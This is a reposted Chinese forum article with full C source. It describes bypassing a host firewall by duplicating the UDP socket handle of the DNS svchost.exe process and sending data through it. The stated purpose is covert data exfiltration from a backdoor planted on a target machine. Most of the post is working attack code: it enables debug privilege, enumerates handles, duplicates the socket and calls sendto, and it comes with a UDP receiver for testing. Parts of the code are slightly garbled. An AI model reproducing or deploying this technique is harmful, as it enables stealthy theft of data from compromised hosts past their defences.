免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 3241 | 回复: 0
打印 上一主题 下一主题

[转帖]一种新的穿透防火墙的数据传输技术解密 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2007-06-08 14:35 |只看该作者 |倒序浏览
一种新的穿透_blank`>防火墙的数据传输技术\r\n\r\nAuthor : ZwelL\r\nEmail : zwell@sohu.com\r\nDate : 2005.4.12\r\n\r\n使用该技术背景:\r\n在目标主机安放后门,需要将数据传输出去,同时数据很重要,动作不能太大.其他情况`严重`不推荐使用该技术(后面我会讲到为什么).\r\n\r\n针对目前_blank`>防火墙的一些情况,如果自己的进程开一个端口(甚至是新建套接字)肯定被拦.\r\n相反,有一点我们也很清楚:被_blank`>防火墙验证的进程在传送数据时永远不会被拦.所以,我的思路很简单:\r\n将其他进程中允许数据传输的套接字句柄拿为已用.过程如下:\r\n\r\n1. 找出目标进程\r\n2. 找出SOCKET句柄\r\n2. 用DuplicateHandle()函数将其SOCKET转换为能被自己使用.\r\n3. 用转换后的SOCKET进行数据传输\r\n\r\n上面的过程写的很简单,但是实际实现起来还是存在一些问题(后面再做讨论).而且从上面的实现方法也\r\n可以看出一些不爽的地方:在目标进程的SOCKET不能是TCP,因为TCP的句柄已经跟外面建立了连接,所以只能是UDP.\r\n针对不同系统不同进程我们很难定位一个稳定的进程SOCKET.\r\n\r\n看到上面这些,你有点丧气了对不对,哈哈. 再想一想,其实我们有一条真正的通罗马的`黄金大道`.\r\n\r\n我们知道只要一台计算机连上了网络,那么有一种数据传输是肯定不会被拦截的,那就是DNS.你能想像域名解析数据都被\r\n拦了造成的结果吗? 嘿嘿, 既然这个是永远不会被拦的, 而且它又是UDP传输, 我们就拿他开刀...\r\n\r\n下面是通过直接控制DNS进程(其实也就是svchost.exe,不过对应用户名是NETWORK SERVICE)进行数据传输的例子.\r\n编程中出现了很多问题,比方说获取svchost对应用户名时没有权限(但是能够操作LOCAL SERVICE),在句柄值为0x2c时进行getsockname时会停止运行等等.\r\n具体解决方法请细看注释部分...\r\n\r\n/*++\r\n\r\nMade By ZwelL\r\nzwell@sohu.com\r\n2005.4.12\r\n--*/\r\n\r\n#include <winsock2.h>\r\n#include <stdio.h>\r\n#include <wtsapi32.h>\r\n\r\n#pragma comment(lib, `ws2_32`)\r\n#pragma comment(lib, `wtsapi32`)\r\n\r\n#define NT_SUCCESS(status) ((NTSTATUS)(status)>=0)\r\n#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)\r\n\r\ntypedef LONG NTSTATUS;\r\n\r\ntypedef struct _SYSTEM_HANDLE_INFORMATION\r\n{\r\nULONG ProcessId;\r\nUCHAR ObjectTypeNumber;\r\nUCHAR Flags;\r\nUSHORT Handle;\r\nPVOID Object;\r\nACCESS_MASK GrantedAccess;\r\n} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;\r\n\r\ntypedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);\r\n\r\nZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;\r\n\r\nBOOL LocateNtdllEntry ( void )\r\n{\r\nBOOL ret = FALSE;\r\nchar NTDLL_DLL[] = `ntdll.dll`;\r\nHMODULE ntdll_dll = NULL;\r\n\r\n\r\nif ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )\r\n{\r\nprintf( `GetModuleHandle() failed`);\r\nreturn( FALSE );\r\n}\r\nif ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, `ZwQuerySystemInformation` ) ) )\r\n{\r\ngoto LocateNtdllEntry_exit;\r\n}\r\nret = TRUE;\r\n\r\nLocateNtdllEntry_exit:\r\n\r\nif ( FALSE == ret )\r\n{\r\nprintf( `GetProcAddress() failed`);\r\n}\r\nntdll_dll = NULL;\r\nreturn( ret );\r\n}\r\n\r\n\r\n/*++\r\nThis routine is used to get a process`s username from it`s SID\r\n--*/\r\nBOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)\r\n{\r\n// sanity checks and default value\r\nif (pUserSid == NULL)\r\nreturn false;\r\nstrcpy(szUserName, `?`);\r\n\r\nSID_NAME_USE snu;\r\nTCHAR szUser[_MAX_PATH];\r\nDWORD chUser = _MAX_PATH;\r\nPDWORD pcchUser = &chUser; \r\nTCHAR szDomain[_MAX_PATH];\r\nDWORD chDomain = _MAX_PATH;\r\nPDWORD pcchDomain = &chDomain;\r\n\r\n// Retrieve user name and domain name based on user`s SID.\r\nif (\r\n::LookupAccountSid(\r\nNULL, \r\npUserSid, \r\nszUser, \r\npcchUser, \r\nszDomain, \r\npcchDomain, \r\n&snu\r\n)\r\n)\r\n{\r\nwsprintf(szUserName, `%s`, szUser);\r\n}\r\nelse\r\n{\r\nreturn false;\r\n}\r\n\r\nreturn true;\r\n} \r\n\r\n\r\n/*++\r\n\r\nThis routine is used to get the DNS process`s Id\r\n\r\nHere, I use WTSEnumerateProcesses to get process user Sid, \r\nand then get the process user name. Beacause as it`s a `NETWORK SERVICE`, \r\nwe cann`t use OpenProcessToken to catch the DNS process`s token information,\r\neven if we has the privilege in catching the SYSTEM`s.\r\n\r\n--*/\r\nDWORD GetDNSProcessId()\r\n{\r\nPWTS_PROCESS_INFO pProcessInfo = NULL;\r\nDWORD ProcessCount = 0;\r\nchar szUserName[255];\r\nDWORD Id = -1;\r\n\r\nif (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))\r\n{\r\n// dump each process description\r\nfor (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)\r\n{\r\n\r\nif( strcmp(pProcessInfo[CurrentProcess].pProcessName, `svchost.exe`) == 0 )\r\n{\r\nGetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);\r\nif( strcmp(szUserName, `NETWORK SERVICE`) == 0)\r\n{\r\nId = pProcessInfo[CurrentProcess].ProcessId;\r\nbreak;\r\n}\r\n}\r\n}\r\n\r\nWTSFreeMemory(pProcessInfo);\r\n}\r\n\r\nreturn Id;\r\n}\r\n\r\n\r\n/*++\r\nThis doesn`t work as we know, sign...\r\nbut you can use the routine for other useing...\r\n--*/\r\n/*\r\nBOOL GetProcessUserFromId(char *szAccountName, DWORD PID)\r\n{\r\nHANDLE hProcess = NULL, \r\nhAccessToken = NULL;\r\nTCHAR InfoBuffer[1000], szDomainName[200];\r\nPTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;\r\nDWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;\r\nSID_NAME_USE snu;\r\n\r\nhProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);\r\nif(hProcess == NULL)\r\n{\r\nprintf(`OpenProcess wrong`);\r\nCloseHandle(hProcess);\r\nreturn false;\r\n}\r\n\r\nif(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))\r\n{\r\nprintf(`OpenProcessToken wrong:%08x`, GetLastError());\r\nreturn false;\r\n}\r\n\r\nGetTokenInformation(hAccessToken,TokenUser,InfoBuffer,\r\n1000, &dwInfoBufferSize);\r\n\r\nLookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,\r\n&dwAccountSize,szDomainName, &dwDomainSize, &snu);\r\n\r\nif(hProcess)\r\nCloseHandle(hProcess);\r\nif(hAccessToken)\r\nCloseHandle(hAccessToken);\r\nreturn true;\r\n}*/\r\n\r\n\r\n/*++\r\nNow, it is the most important stuff... ^_^\r\n--*/\r\nSOCKET GetSocketFromId (DWORD PID)\r\n{\r\nNTSTATUS status;\r\nPVOID buf = NULL;\r\nULONG size = 1;\r\nULONG NumOfHandle = 0;\r\nULONG i;\r\nPSYSTEM_HANDLE_INFORMATION h_info = NULL;\r\nHANDLE sock = NULL;\r\nDWORD n;\r\n\r\nbuf=malloc(0x1000);\r\nif(buf == NULL)\r\n{\r\nprintf(`malloc wrong `);\r\nreturn NULL;\r\n}\r\nstatus = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );\r\nif(STATUS_INFO_LENGTH_MISMATCH == status)\r\n{\r\nfree(buf);\r\nbuf=malloc(n);\r\nif(buf == NULL)\r\n{\r\nprintf(`malloc wrong `);\r\nreturn NULL;\r\n}\r\nstatus = ZwQuerySystemInformation( 0x10, buf, n, NULL);\r\n}\r\nelse\r\n{\r\nprintf(`ZwQuerySystemInformation wrong `);\r\nreturn NULL;\r\n}\r\n\r\nNumOfHandle = *(ULONG*)buf;\r\n\r\nh_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);\r\n\r\nfor(i = 0; i<NumOfHandle i++)\r\n{\r\ntry\r\n{\r\nif( ( h_info.ProcessId == PID ) && ( h_info.ObjectTypeNumber == 0x1c ) \r\n&& (h_info.Handle!=0x2c) // I don`t know why if the Handle equal to 0x2c, in my test, it stops at getsockname()\r\n// So I jump over this situation... \r\n// May be it`s different in your system, \r\n) //wind2000 is 0x1a\r\n{\r\n//printf(`Handle:0x%x Type:%08x `,h_info.Handle, h_info.ObjectTypeNumber);\r\nif( 0 == DuplicateHandle(\r\nOpenProcess(PROCESS_ALL_ACCESS, TRUE, PID), \r\n(HANDLE)h_info.Handle, \r\nGetCurrentProcess(), \r\n&sock, \r\nSTANDARD_RIGHTS_REQUIRED, \r\ntrue, \r\nDUPLICATE_SAME_ACCESS)\r\n)\r\n{\r\nprintf(`DuplicateHandle wrong:%8x`, GetLastError());\r\ncontinue;\r\n}\r\n\r\n//printf(`DuplicateHandle ok `);\r\nsockaddr_in name = {0};\r\nname.sin_family = AF_INET;\r\nint namelen = sizeof(sockaddr_in);\r\ngetsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );\r\n//printf(`PORT=%5d `, ntohs( name.sin_port )); \r\nif(ntohs(name.sin_port)>0) // if port > 0, then we can use it\r\nbreak;\r\n}\r\n}\r\ncatch(...)\r\n{\r\ncontinue;\r\n}\r\n}\r\n\r\nif ( buf != NULL )\r\n{\r\nfree( buf );\r\n}\r\nreturn (SOCKET)sock;\r\n}\r\n\r\n\r\n/*++\r\nThis is not required...\r\n--*/\r\nBOOL EnablePrivilege (PCSTR name)\r\n{\r\nHANDLE hToken;\r\nBOOL rv;\r\n\r\nTOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };\r\nLookupPrivilegeValue (\r\n0,\r\nname,\r\n&priv.Privileges[0].Luid\r\n);\r\n\r\npriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\r\n\r\nOpenProcessToken(\r\nGetCurrentProcess (),\r\nTOKEN_ADJUST_PRIVILEGES,\r\n&hToken\r\n);\r\n\r\nAdjustTokenPrivileges (\r\nhToken,\r\nFALSE,\r\n&priv,\r\nsizeof priv,\r\n0,\r\n0\r\n);\r\n\r\nrv = GetLastError () == ERROR_SUCCESS;\r\n\r\nCloseHandle (hToken);\r\nreturn rv;\r\n}\r\n\r\nvoid main() \r\n{\r\nWSADATA wsaData;\r\nchar testbuf[255];\r\nSOCKET sock;\r\nsockaddr_in RecvAddr;\r\n\r\nint iResult = WSAStartup(MAKEWORD(2,2), &wsaData);\r\nif (iResult != NO_ERROR)\r\nprintf(`Error at WSAStartup() `);\r\n\r\nif(!LocateNtdllEntry())\r\nreturn;\r\n\r\nif(!EnablePrivilege (SE_DEBUG_NAME))\r\n{\r\nprintf(`EnablePrivilege wrong `);\r\nreturn;\r\n}\r\n\r\nsock = GetSocketFromId(GetDNSProcessId());\r\nif( sock==NULL)\r\n{\r\nprintf(`GetSocketFromId wrong `);\r\nreturn;\r\n}\r\n\r\n//Change there value...\r\nRecvAddr.sin_family = AF_INET;\r\nRecvAddr.sin_port = htons(5555); \r\nRecvAddr.sin_addr.s_addr = inet_addr(`127.0.0.1`);\r\n\r\nif(SOCKET_ERROR == sendto(sock, \r\n`test`, \r\n5, \r\n0, \r\n(SOCKADDR *) &RecvAddr, \r\nsizeof(RecvAddr)))\r\n{\r\nprintf(`sendto wrong:%d `, WSAGetLastError());\r\n}\r\nelse\r\n{\r\nprintf(`send ok... Have fun, right? ^_^ `);\r\n}\r\n\r\ngetchar();\r\n\r\n//WSACleanup();\r\nreturn;\r\n}\r\n\r\n\r\n\r\n很早以前我就有这个想法了,只是一直没有去实现.在上面的代码中,\r\n因为要找出DNS进程句柄,而svchost.exe又有多个,所以以用户名来进行判断,本来是用OpenProcessToken,\r\n但是怎么也不行,所以换个方法.用到了wtsapi32库函数.\r\n\r\n再用下面的代码测试:\r\n\r\n\r\n/*++\r\nUdpReceiver\r\n--*/\r\n#include <stdio.h>\r\n#include `winsock2.h`\r\n\r\n#pragma comment(lib, `ws2_32`)\r\n\r\nvoid main() \r\n{\r\nWSADATA wsaData;\r\nSOCKET RecvSocket;\r\nsockaddr_in RecvAddr;\r\nint Port = 5555;\r\nchar RecvBuf[1024];\r\nint BufLen = 1024;\r\nsockaddr_in SenderAddr;\r\nint SenderAddrSize = sizeof(SenderAddr);\r\n\r\n//-----------------------------------------------\r\n// Initialize Winsock\r\nWSAStartup(MAKEWORD(2,2), &wsaData);\r\n\r\n//-----------------------------------------------\r\n// Create a receiver socket to receive datagrams\r\nRecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);\r\n\r\n//-----------------------------------------------\r\n// Bind the socket to any address and the specified port.\r\nRecvAddr.sin_family = AF_INET;\r\nRecvAddr.sin_port = htons(Port);\r\nRecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);\r\n\r\nbind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));\r\n\r\n//-----------------------------------------------\r\n// Call the recvfrom function to receive datagrams\r\n// on the bound socket.\r\nprintf(`Receiving datagrams... `);\r\nwhile(1)\r\n{\r\nrecvfrom(RecvSocket, \r\nRecvBuf, \r\nBufLen, \r\n0, \r\n(SOCKADDR *)&SenderAddr, \r\n&SenderAddrSize);\r\nprintf(`%s `, RecvBuf);\r\n}\r\n\r\n//-----------------------------------------------\r\n// Close the socket when finished receiving datagrams\r\nprintf(`Finished receiving. Closing socket. `);\r\nclosesocket(RecvSocket);\r\n\r\n//-----------------------------------------------\r\n// Clean up and exit.\r\nprintf(`Exiting. `);\r\nWSACleanup();\r\nreturn;\r\n}\r\n\r\n\r\n测试步骤:\r\n1. 在一台机器上执行UdpReceiver,\r\n2. 在安装_blank`>防火墙的机器上执行第一个程序.\r\n\r\n有什么问题,希望大家可以交流交流...^_^
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP